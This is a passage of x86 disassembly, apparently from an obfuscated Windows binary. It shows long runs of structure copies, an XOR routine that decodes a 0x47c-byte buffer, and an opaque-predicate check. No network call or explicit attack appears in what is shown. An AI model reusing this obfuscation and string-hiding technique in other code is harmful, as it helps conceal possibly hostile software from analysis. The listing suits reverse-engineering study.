mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x918]
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x91c]
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x910]
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x914]
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x908]
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x90c]
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x900]
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x904]
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x8f8]
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x8fc]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x8f0]
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x8f4]
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x8e8]
mov dword [esi + 0xa4], eax
mov eax, dword [esi + 0x8ec]
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0x8e0]
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0x8e4]
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0x8d8]
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0x8dc]
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0x8d0]
mov dword [esi + 0xbc], eax
mov eax, dword [esi + 0x8d4]
mov dword [esi + 0xb8], eax
mov eax, dword [esi + 0x8c8]
mov dword [esi + 0xc4], eax
mov eax, dword [esi + 0x8cc]
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 0x8c0]
mov dword [esi + 0xcc], eax
mov eax, dword [esi + 0x8c4]
mov dword [esi + 0xc8], eax
mov eax, dword [esi + 0x8b8]
mov dword [esi + 0xd4], eax
mov eax, dword [esi + 0x8bc]
mov dword [esi + 0xd0], eax
mov eax, dword [esi + 0x8b0]
mov dword [esi + 0xdc], eax
mov eax, dword [esi + 0x8b4]
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0x8a8]
mov dword [esi + 0xe4], eax
mov eax, dword [esi + 0x8ac]
mov dword [esi + 0xe0], eax
mov eax, dword [esi + 0x8a0]
mov dword [esi + 0xec], eax
mov eax, dword [esi + 0x8a4]
mov dword [esi + 0xe8], eax
mov eax, dword [esi + 0x898]
mov dword [esi + 0xf4], eax
mov eax, dword [esi + 0x89c]
mov dword [esi + 0xf0], eax
mov eax, dword [esi + 0x890]
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0x894]
mov dword [esi + 0xf8], eax
mov eax, dword [esi + 0x888]
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x88c]
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x880]
mov dword [esi + 0x10c], eax
mov eax, dword [esi + 0x884]
mov dword [esi + 0x108], eax
mov eax, dword [esi + 0x878]
mov dword [esi + 0x114], eax
mov eax, dword [esi + 0x87c]
mov dword [esi + 0x110], eax
mov eax, dword [esi + 0x870]
mov dword [esi + 0x11c], eax
mov eax, dword [esi + 0x874]
mov dword [esi + 0x118], eax
mov eax, dword [esi + 0x868]
mov dword [esi + 0x124], eax
mov eax, dword [esi + 0x86c]
mov dword [esi + 0x120], eax
mov eax, dword [esi + 0x860]
mov dword [esi + 0x12c], eax
mov eax, dword [esi + 0x864]
mov dword [esi + 0x128], eax
mov eax, dword [esi + 0x858]
mov dword [esi + 0x134], eax
mov eax, dword [esi + 0x85c]
mov dword [esi + 0x130], eax
mov eax, dword [esi + 0x850]
mov dword [esi + 0x13c], eax
mov eax, dword [esi + 0x854]
mov dword [esi + 0x138], eax
mov eax, dword [esi + 0x848]
mov dword [esi + 0x144], eax
mov eax, dword [esi + 0x84c]
mov dword [esi + 0x140], eax
mov eax, dword [esi + 0x840]
mov dword [esi + 0x14c], eax
mov eax, dword [esi + 0x844]
mov dword [esi + 0x148], eax
mov eax, dword [esi + 0x838]
mov dword [esi + 0x154], eax
mov eax, dword [esi + 0x83c]
mov dword [esi + 0x150], eax
mov eax, dword [esi + 0x830]
mov dword [esi + 0x15c], eax
mov eax, dword [esi + 0x834]
mov dword [esi + 0x158], eax
mov eax, dword [esi + 0x828]
mov dword [esi + 0x164], eax
mov eax, dword [esi + 0x82c]
mov dword [esi + 0x160], eax
mov eax, dword [esi + 0x820]
mov dword [esi + 0x16c], eax
mov eax, dword [esi + 0x824]
mov dword [esi + 0x168], eax
mov eax, dword [esi + 0x818]
mov dword [esi + 0x174], eax
mov eax, dword [esi + 0x81c]
mov dword [esi + 0x170], eax
mov eax, dword [esi + 0x810]
mov dword [esi + 0x17c], eax
mov eax, dword [esi + 0x814]
mov dword [esi + 0x178], eax
mov eax, dword [esi + 0x808]
mov dword [esi + 0x184], eax
mov eax, dword [esi + 0x80c]
mov dword [esi + 0x180], eax
mov eax, dword [esi + 0x800]
mov dword [esi + 0x18c], eax
mov eax, dword [esi + 0x804]
mov dword [esi + 0x188], eax
mov eax, dword [esi + 0x7f8]
mov dword [esi + 0x194], eax
mov eax, dword [esi + 0x7fc]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0x7f0]
mov dword [esi + 0x19c], eax
mov eax, dword [esi + 0x7f4]
mov dword [esi + 0x198], eax
mov eax, dword [esi + 0x7e8]
mov dword [esi + 0x1a4], eax
mov eax, dword [esi + 0x7ec]
mov dword [esi + 0x1a0], eax
mov eax, dword [esi + 0x7e0]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0x7e4]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0x7d8]
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0x7dc]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0x7d0]
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0x7d4]
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0x7c8]
mov dword [esi + 0x1c4], eax
mov eax, dword [esi + 0x7cc]
mov dword [esi + 0x1c0], eax
mov eax, dword [esi + 0x7c0]
mov dword [esi + 0x1cc], eax
mov eax, dword [esi + 0x7c4]
mov dword [esi + 0x1c8], eax
mov eax, dword [esi + 0x7b8]
mov dword [esi + 0x1d4], eax
mov eax, dword [esi + 0x7bc]
mov dword [esi + 0x1d0], eax
mov eax, dword [esi + 0x7b0]
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x7b4]
mov dword [esi + 0x1d8], eax
mov eax, dword [esi + 0x7a8]
mov dword [esi + 0x1e4], eax
mov eax, dword [esi + 0x7ac]
mov dword [esi + 0x1e0], eax
mov eax, dword [esi + 0x7a0]
mov dword [esi + 0x1ec], eax
mov eax, dword [esi + 0x7a4]
mov dword [esi + 0x1e8], eax
mov eax, dword [esi + 0x798]
mov dword [esi + 0x1f4], eax
mov eax, dword [esi + 0x79c]
mov dword [esi + 0x1f0], eax
mov eax, dword [esi + 0x790]
mov dword [esi + 0x1fc], eax
mov eax, dword [esi + 0x794]
mov dword [esi + 0x1f8], eax
mov eax, dword [esi + 0x788]
mov dword [esi + 0x204], eax
mov eax, dword [esi + 0x78c]
mov dword [esi + 0x200], eax
mov eax, dword [esi + 0x780]
mov dword [esi + 0x20c], eax
mov eax, dword [esi + 0x784]
mov dword [esi + 0x208], eax
mov eax, dword [esi + 0x778]
mov dword [esi + 0x214], eax
mov eax, dword [esi + 0x77c]
mov dword [esi + 0x210], eax
mov eax, dword [esi + 0x770]
mov dword [esi + 0x21c], eax
mov eax, dword [esi + 0x774]
mov dword [esi + 0x218], eax
mov eax, dword [esi + 0x768]
mov dword [esi + 0x224], eax
mov eax, dword [esi + 0x76c]
mov dword [esi + 0x220], eax
mov eax, dword [esi + 0x760]
mov dword [esi + 0x22c], eax
mov eax, dword [esi + 0x764]
mov dword [esi + 0x228], eax
mov eax, dword [esi + 0x758]
mov dword [esi + 0x234], eax
mov eax, dword [esi + 0x75c]
mov dword [esi + 0x230], eax
mov eax, dword [esi + 0x750]
mov dword [esi + 0x23c], eax
mov eax, dword [esi + 0x754]
mov dword [esi + 0x238], eax
mov eax, dword [esi + 0x748]
mov dword [esi + 0x244], eax
mov eax, dword [esi + 0x74c]
mov dword [esi + 0x240], eax
mov eax, dword [esi + 0x740]
mov dword [esi + 0x24c], eax
mov eax, dword [esi + 0x744]
mov dword [esi + 0x248], eax
mov eax, dword [esi + 0x738]
mov dword [esi + 0x254], eax
mov eax, dword [esi + 0x73c]
mov dword [esi + 0x250], eax
mov eax, dword [esi + 0x730]
mov dword [esi + 0x25c], eax
mov eax, dword [esi + 0x734]
mov dword [esi + 0x258], eax
mov eax, dword [esi + 0x728]
mov dword [esi + 0x264], eax
mov eax, dword [esi + 0x72c]
mov dword [esi + 0x260], eax
mov eax, dword [esi + 0x720]
mov dword [esi + 0x26c], eax
mov eax, dword [esi + 0x724]
mov dword [esi + 0x268], eax
mov eax, dword [esi + 0x718]
mov dword [esi + 0x274], eax
mov eax, dword [esi + 0x71c]
mov dword [esi + 0x270], eax
mov eax, dword [esi + 0x710]
mov dword [esi + 0x27c], eax
mov eax, dword [esi + 0x714]
mov dword [esi + 0x278], eax
mov eax, dword [esi + 0x708]
mov dword [esi + 0x284], eax
mov eax, dword [esi + 0x70c]
mov dword [esi + 0x280], eax
mov eax, dword [esi + 0x700]
mov dword [esi + 0x28c], eax
mov eax, dword [esi + 0x704]
mov dword [esi + 0x288], eax
mov eax, dword [esi + 0x6f8]
mov dword [esi + 0x294], eax
mov eax, dword [esi + 0x6fc]
mov dword [esi + 0x290], eax
mov eax, dword [esi + 0x6f0]
mov dword [esi + 0x29c], eax
mov eax, dword [esi + 0x6f4]
mov dword [esi + 0x298], eax
mov eax, dword [esi + 0x6e8]
mov dword [esi + 0x2a4], eax
mov eax, dword [esi + 0x6ec]
mov dword [esi + 0x2a0], eax
mov eax, dword [esi + 0x6e0]
mov dword [esi + 0x2ac], eax
mov eax, dword [esi + 0x6e4]
mov dword [esi + 0x2a8], eax
mov eax, dword [esi + 0x6d8]
mov dword [esi + 0x2b4], eax
mov eax, dword [esi + 0x6dc]
mov dword [esi + 0x2b0], eax
mov eax, dword [esi + 0x6d0]
mov dword [esi + 0x2bc], eax
mov eax, dword [esi + 0x6d4]
mov dword [esi + 0x2b8], eax
mov eax, dword [esi + 0x6c8]
mov dword [esi + 0x2c4], eax
mov eax, dword [esi + 0x6cc]
mov dword [esi + 0x2c0], eax
mov eax, dword [esi + 0x6c0]
mov dword [esi + 0x2cc], eax
mov eax, dword [esi + 0x6c4]
mov dword [esi + 0x2c8], eax
mov eax, dword [esi + 0x6b8]
mov dword [esi + 0x2d4], eax
mov eax, dword [esi + 0x6bc]
mov dword [esi + 0x2d0], eax
mov eax, dword [esi + 0x6b0]
mov dword [esi + 0x2dc], eax
mov eax, dword [esi + 0x6b4]
mov dword [esi + 0x2d8], eax
mov eax, dword [esi + 0x6a8]
mov dword [esi + 0x2e4], eax
mov eax, dword [esi + 0x6ac]
mov dword [esi + 0x2e0], eax
mov eax, dword [esi + 0x6a0]
mov dword [esi + 0x2ec], eax
mov eax, dword [esi + 0x6a4]
mov dword [esi + 0x2e8], eax
mov eax, dword [esi + 0x698]
mov dword [esi + 0x2f4], eax
mov eax, dword [esi + 0x69c]
mov dword [esi + 0x2f0], eax
mov eax, dword [esi + 0x690]
mov dword [esi + 0x2fc], eax
mov eax, dword [esi + 0x694]
mov dword [esi + 0x2f8], eax
mov eax, dword [esi + 0x688]
mov dword [esi + 0x304], eax
mov eax, dword [esi + 0x68c]
mov dword [esi + 0x300], eax
mov eax, dword [esi + 0x680]
mov dword [esi + 0x30c], eax
mov eax, dword [esi + 0x684]
mov dword [esi + 0x308], eax
mov eax, dword [esi + 0x678]
mov dword [esi + 0x314], eax
mov eax, dword [esi + 0x67c]
mov dword [esi + 0x310], eax
mov eax, dword [esi + 0x670]
mov dword [esi + 0x31c], eax
mov eax, dword [esi + 0x674]
mov dword [esi + 0x318], eax
mov eax, dword [esi + 0x668]
mov dword [esi + 0x324], eax
mov eax, dword [esi + 0x66c]
mov dword [esi + 0x320], eax
mov eax, dword [esi + 0x660]
mov dword [esi + 0x32c], eax
mov eax, dword [esi + 0x664]
mov dword [esi + 0x328], eax
mov eax, dword [esi + 0x658]
mov dword [esi + 0x334], eax
mov eax, dword [esi + 0x65c]
mov dword [esi + 0x330], eax
mov eax, dword [esi + 0x650]
mov dword [esi + 0x33c], eax
mov eax, dword [esi + 0x654]
mov dword [esi + 0x338], eax
mov eax, dword [esi + 0x648]
mov dword [esi + 0x344], eax
mov eax, dword [esi + 0x64c]
mov dword [esi + 0x340], eax
mov eax, dword [esi + 0x640]
mov dword [esi + 0x34c], eax
mov eax, dword [esi + 0x644]
mov dword [esi + 0x348], eax
mov eax, dword [esi + 0x638]
mov dword [esi + 0x354], eax
mov eax, dword [esi + 0x63c]
mov dword [esi + 0x350], eax
mov eax, dword [esi + 0x630]
mov dword [esi + 0x35c], eax
mov eax, dword [esi + 0x634]
mov dword [esi + 0x358], eax
mov eax, dword [esi + 0x628]
mov dword [esi + 0x364], eax
mov eax, dword [esi + 0x62c]
mov dword [esi + 0x360], eax
mov eax, dword [esi + 0x620]
mov dword [esi + 0x36c], eax
mov eax, dword [esi + 0x624]
mov dword [esi + 0x368], eax
mov eax, dword [esi + 0x618]
mov dword [esi + 0x374], eax
mov eax, dword [esi + 0x61c]
mov dword [esi + 0x370], eax
mov eax, dword [esi + 0x610]
mov dword [esi + 0x37c], eax
mov eax, dword [esi + 0x614]
mov dword [esi + 0x378], eax
mov eax, dword [esi + 0x608]
mov dword [esi + 0x384], eax
mov eax, dword [esi + 0x60c]
mov dword [esi + 0x380], eax
mov eax, dword [esi + 0x600]
mov dword [esi + 0x38c], eax
mov eax, dword [esi + 0x604]
mov dword [esi + 0x388], eax
mov eax, dword [esi + 0x5f8]
mov dword [esi + 0x394], eax
mov eax, dword [esi + 0x5fc]
mov dword [esi + 0x390], eax
mov eax, dword [esi + 0x5f0]
mov dword [esi + 0x39c], eax
mov eax, dword [esi + 0x5f4]
mov dword [esi + 0x398], eax
mov eax, dword [esi + 0x5e8]
mov dword [esi + 0x3a4], eax
mov eax, dword [esi + 0x5ec]
mov dword [esi + 0x3a0], eax
mov eax, dword [esi + 0x5e0]
mov dword [esi + 0x3ac], eax
mov eax, dword [esi + 0x5e4]
mov dword [esi + 0x3a8], eax
mov eax, dword [esi + 0x5d8]
mov dword [esi + 0x3b4], eax
mov eax, dword [esi + 0x5dc]
mov dword [esi + 0x3b0], eax
mov eax, dword [esi + 0x5d0]
mov dword [esi + 0x3bc], eax
mov eax, dword [esi + 0x5d4]
mov dword [esi + 0x3b8], eax
mov eax, dword [esi + 0x5c8]
mov dword [esi + 0x3c4], eax
mov eax, dword [esi + 0x5cc]
mov dword [esi + 0x3c0], eax
mov eax, dword [esi + 0x5c0]
mov dword [esi + 0x3cc], eax
mov eax, dword [esi + 0x5c4]
mov dword [esi + 0x3c8], eax
mov eax, dword [esi + 0x5b8]
mov dword [esi + 0x3d4], eax
mov eax, dword [esi + 0x5bc]
mov dword [esi + 0x3d0], eax
mov eax, dword [esi + 0x5b0]
mov dword [esi + 0x3dc], eax
mov eax, dword [esi + 0x5b4]
mov dword [esi + 0x3d8], eax
mov eax, dword [esi + 0x5a8]
mov dword [esi + 0x3e4], eax
mov eax, dword [esi + 0x5ac]
mov dword [esi + 0x3e0], eax
mov eax, dword [esi + 0x5a0]
mov dword [esi + 0x3ec], eax
mov eax, dword [esi + 0x5a4]
mov dword [esi + 0x3e8], eax
mov eax, dword [esi + 0x598]
mov dword [esi + 0x3f4], eax
mov eax, dword [esi + 0x59c]
mov dword [esi + 0x3f0], eax
mov eax, dword [esi + 0x590]
mov dword [esi + 0x3fc], eax
mov eax, dword [esi + 0x594]
mov dword [esi + 0x3f8], eax
mov eax, dword [esi + 0x588]
mov dword [esi + 0x404], eax
mov eax, dword [esi + 0x58c]
mov dword [esi + 0x400], eax
mov eax, dword [esi + 0x580]
mov dword [esi + 0x40c], eax
mov eax, dword [esi + 0x584]
mov dword [esi + 0x408], eax
mov eax, dword [esi + 0x578]
mov dword [esi + 0x414], eax
mov eax, dword [esi + 0x57c]
mov dword [esi + 0x410], eax
mov eax, dword [esi + 0x570]
mov dword [esi + 0x41c], eax
mov eax, dword [esi + 0x574]
mov dword [esi + 0x418], eax
mov eax, dword [esi + 0x568]
mov dword [esi + 0x424], eax
mov eax, dword [esi + 0x56c]
mov dword [esi + 0x420], eax
mov eax, dword [esi + 0x560]
mov dword [esi + 0x42c], eax
mov eax, dword [esi + 0x564]
mov dword [esi + 0x428], eax
mov eax, dword [esi + 0x558]
mov dword [esi + 0x434], eax
mov eax, dword [esi + 0x55c]
mov dword [esi + 0x430], eax
mov eax, dword [esi + 0x550]
mov dword [esi + 0x43c], eax
mov eax, dword [esi + 0x554]
mov dword [esi + 0x438], eax
mov eax, dword [esi + 0x548]
mov dword [esi + 0x444], eax
mov eax, dword [esi + 0x54c]
mov dword [esi + 0x440], eax
mov eax, dword [esi + 0x540]
mov dword [esi + 0x44c], eax
mov eax, dword [esi + 0x544]
mov dword [esi + 0x448], eax
mov eax, dword [esi + 0x538]
mov dword [esi + 0x454], eax
mov eax, dword [esi + 0x53c]
mov dword [esi + 0x450], eax
mov eax, dword [esi + 0x530]
mov dword [esi + 0x45c], eax
mov eax, dword [esi + 0x534]
mov dword [esi + 0x458], eax
mov eax, dword [esi + 0x528]
mov dword [esi + 0x464], eax
mov eax, dword [esi + 0x52c]
mov dword [esi + 0x460], eax
mov eax, dword [esi + 0x520]
mov dword [esi + 0x46c], eax
mov eax, dword [esi + 0x524]
mov dword [esi + 0x468], eax
mov eax, dword [esi + 0x518]
mov dword [esi + 0x474], eax
mov eax, dword [esi + 0x51c]
mov dword [esi + 0x470], eax
mov eax, dword [esi + 0x510]
mov dword [esi + 0x47c], eax
mov eax, dword [esi + 0x514]
mov dword [esi + 0x478], eax
mov eax, dword [esi + 0x508]
mov dword [esi + 0x484], eax
mov eax, dword [esi + 0x50c]
mov dword [esi + 0x480], eax
mov eax, dword [esi + 0x500]
mov dword [esi + 0x48c], eax
mov eax, dword [esi + 0x504]
mov dword [esi + 0x488], eax
mov eax, dword [esi + 0x4f8]
mov dword [esi + 0x494], eax
mov eax, dword [esi + 0x4fc]
mov dword [esi + 0x490], eax
mov eax, dword [esi + 0x4f0]
mov dword [esi + 0x49c], eax
mov eax, dword [esi + 0x4f4]
mov dword [esi + 0x498], eax
mov eax, dword [esi + 0x4e8]
mov dword [esi + 0x4a4], eax
mov eax, dword [esi + 0x4ec]
mov dword [esi + 0x4a0], eax
mov eax, dword [esi + 0x4e0]
mov dword [esi + 0x4ac], eax
mov eax, dword [esi + 0x4e4]
mov dword [esi + 0x4a8], eax
mov eax, dword [esi + 0x4d8]
mov dword [esi + 0x4b4], eax
mov eax, dword [esi + 0x4dc]
mov dword [esi + 0x4b0], eax
mov eax, dword [esi + 0x4d4]
mov dword [esi + 0x4bc], eax
mov eax, dword [esi + 0x4d0]
mov dword [esi + 0x4b8], eax
movaps xmm0, xmmword [ebx]
movaps xmm1, xmmword [ebx + 0x10]
mov eax, dword [esi + 0x4cc]
xorps xmm0, xmmword [eax]
movaps xmmword [ebx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [ebx + 0x10], xmm1
movaps xmm0, xmmword [ebx + 0x20]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [ebx + 0x20], xmm0
movaps xmm0, xmmword [ebx + 0x30]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [ebx + 0x30], xmm0
movaps xmm0, xmmword [ebx + 0x40]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [ebx + 0x40], xmm0
movaps xmm0, xmmword [ebx + 0x50]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [ebx + 0x50], xmm0
movaps xmm0, xmmword [ebx + 0x60]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [ebx + 0x60], xmm0
movaps xmm0, xmmword [ebx + 0x70]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [ebx + 0x70], xmm0
movaps xmm0, xmmword [ebx + 0x80]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [ebx + 0x80], xmm0
movaps xmm0, xmmword [ebx + 0x90]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [ebx + 0x90], xmm0
movaps xmm0, xmmword [ebx + 0xa0]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [ebx + 0xa0], xmm0
movaps xmm0, xmmword [ebx + 0xb0]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [ebx + 0xb0], xmm0
movaps xmm0, xmmword [ebx + 0xc0]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [ebx + 0xc0], xmm0
movaps xmm0, xmmword [ebx + 0xd0]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [ebx + 0xd0], xmm0
movaps xmm0, xmmword [ebx + 0xe0]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [ebx + 0xe0], xmm0
movaps xmm0, xmmword [ebx + 0xf0]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [ebx + 0xf0], xmm0
movaps xmm0, xmmword [ebx + 0x100]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [ebx + 0x100], xmm0
movaps xmm0, xmmword [ebx + 0x110]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [ebx + 0x110], xmm0
movaps xmm0, xmmword [ebx + 0x120]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [ebx + 0x120], xmm0
movaps xmm0, xmmword [ebx + 0x130]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [ebx + 0x130], xmm0
movaps xmm0, xmmword [ebx + 0x140]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [ebx + 0x140], xmm0
movaps xmm0, xmmword [ebx + 0x150]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [ebx + 0x150], xmm0
movaps xmm0, xmmword [ebx + 0x160]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [ebx + 0x160], xmm0
movaps xmm0, xmmword [ebx + 0x170]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [ebx + 0x170], xmm0
movaps xmm0, xmmword [ebx + 0x180]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [ebx + 0x180], xmm0
movaps xmm0, xmmword [ebx + 0x190]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [ebx + 0x190], xmm0
movaps xmm0, xmmword [ebx + 0x1a0]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [ebx + 0x1a0], xmm0
movaps xmm0, xmmword [ebx + 0x1b0]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [ebx + 0x1b0], xmm0
movaps xmm0, xmmword [ebx + 0x1c0]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [ebx + 0x1c0], xmm0
movaps xmm0, xmmword [ebx + 0x1d0]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [ebx + 0x1d0], xmm0
movaps xmm0, xmmword [ebx + 0x1e0]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [ebx + 0x1e0], xmm0
movaps xmm0, xmmword [ebx + 0x1f0]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [ebx + 0x1f0], xmm0
movaps xmm0, xmmword [ebx + 0x200]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [ebx + 0x200], xmm0
movaps xmm0, xmmword [ebx + 0x210]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [ebx + 0x210], xmm0
movaps xmm0, xmmword [ebx + 0x220]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [ebx + 0x220], xmm0
movaps xmm0, xmmword [ebx + 0x230]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [ebx + 0x230], xmm0
movaps xmm0, xmmword [ebx + 0x240]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [ebx + 0x240], xmm0
movaps xmm0, xmmword [ebx + 0x250]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [ebx + 0x250], xmm0
movaps xmm0, xmmword [ebx + 0x260]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [ebx + 0x260], xmm0
movaps xmm0, xmmword [ebx + 0x270]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [ebx + 0x270], xmm0
movaps xmm0, xmmword [ebx + 0x280]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [ebx + 0x280], xmm0
movaps xmm0, xmmword [ebx + 0x290]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [ebx + 0x290], xmm0
movaps xmm0, xmmword [ebx + 0x2a0]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [ebx + 0x2a0], xmm0
movaps xmm0, xmmword [ebx + 0x2b0]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [ebx + 0x2b0], xmm0
movaps xmm0, xmmword [ebx + 0x2c0]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [ebx + 0x2c0], xmm0
movaps xmm0, xmmword [ebx + 0x2d0]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [ebx + 0x2d0], xmm0
movaps xmm0, xmmword [ebx + 0x2e0]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [ebx + 0x2e0], xmm0
movaps xmm0, xmmword [ebx + 0x2f0]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [ebx + 0x2f0], xmm0
movaps xmm0, xmmword [ebx + 0x300]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [ebx + 0x300], xmm0
movaps xmm0, xmmword [ebx + 0x310]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [ebx + 0x310], xmm0
movaps xmm0, xmmword [ebx + 0x320]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [ebx + 0x320], xmm0
movaps xmm0, xmmword [ebx + 0x330]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [ebx + 0x330], xmm0
movaps xmm0, xmmword [ebx + 0x340]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [ebx + 0x340], xmm0
movaps xmm0, xmmword [ebx + 0x350]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [ebx + 0x350], xmm0
movaps xmm0, xmmword [ebx + 0x360]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [ebx + 0x360], xmm0
movaps xmm0, xmmword [ebx + 0x370]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [ebx + 0x370], xmm0
movaps xmm0, xmmword [ebx + 0x380]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [ebx + 0x380], xmm0
movaps xmm0, xmmword [ebx + 0x390]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [ebx + 0x390], xmm0
movaps xmm0, xmmword [ebx + 0x3a0]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [ebx + 0x3a0], xmm0
movaps xmm0, xmmword [ebx + 0x3b0]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [ebx + 0x3b0], xmm0
movaps xmm0, xmmword [ebx + 0x3c0]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [ebx + 0x3c0], xmm0
movaps xmm0, xmmword [ebx + 0x3d0]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [ebx + 0x3d0], xmm0
movaps xmm0, xmmword [ebx + 0x3e0]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [ebx + 0x3e0], xmm0
movaps xmm0, xmmword [ebx + 0x3f0]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [ebx + 0x3f0], xmm0
movaps xmm0, xmmword [ebx + 0x400]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [ebx + 0x400], xmm0
movaps xmm0, xmmword [ebx + 0x410]
xorps xmm0, xmmword [eax + 0x410]
movaps xmmword [ebx + 0x410], xmm0
movaps xmm0, xmmword [ebx + 0x420]
xorps xmm0, xmmword [eax + 0x420]
movaps xmmword [ebx + 0x420], xmm0
movaps xmm0, xmmword [ebx + 0x430]
xorps xmm0, xmmword [eax + 0x430]
movaps xmmword [ebx + 0x430], xmm0
movaps xmm0, xmmword [ebx + 0x440]
xorps xmm0, xmmword [eax + 0x440]
movaps xmmword [ebx + 0x440], xmm0
movaps xmm0, xmmword [ebx + 0x450]
xorps xmm0, xmmword [eax + 0x450]
movaps xmmword [ebx + 0x450], xmm0
movaps xmm0, xmmword [ebx + 0x460]
xorps xmm0, xmmword [eax + 0x460]
movaps xmmword [ebx + 0x460], xmm0
movaps xmm0, xmmword [ebx + 0x470]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [ebx + 0x470], xmm0
push 0x480
call fcn.0040ec72
add esp, 4
mov edi, eax
push 0x47c
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [edi + 0x47c], 0
cmp dword [0x42f258], 0xa
jl 0x40a238
mov eax, dword [0x42f25c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40e150
mov eax, 0x8dfe4f2d
mov ecx, 0x21c25194
mov ebx, dword [esi + 0x1c]
mov dword [ebx + 4], ecx
mov ecx, 0x16da2c1c
mov dword [ebx], eax
mov eax, 0x8a536b67
mov dword [ebx + 0xc], eax
mov eax, 0x5b475da9
mov dword [ebx + 8], ecx
mov ecx, 0xbba77e39
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], eax
lea eax, [esi + 0x40]
xor ecx, ecx
mov edx, dword [esi + 0x2c]
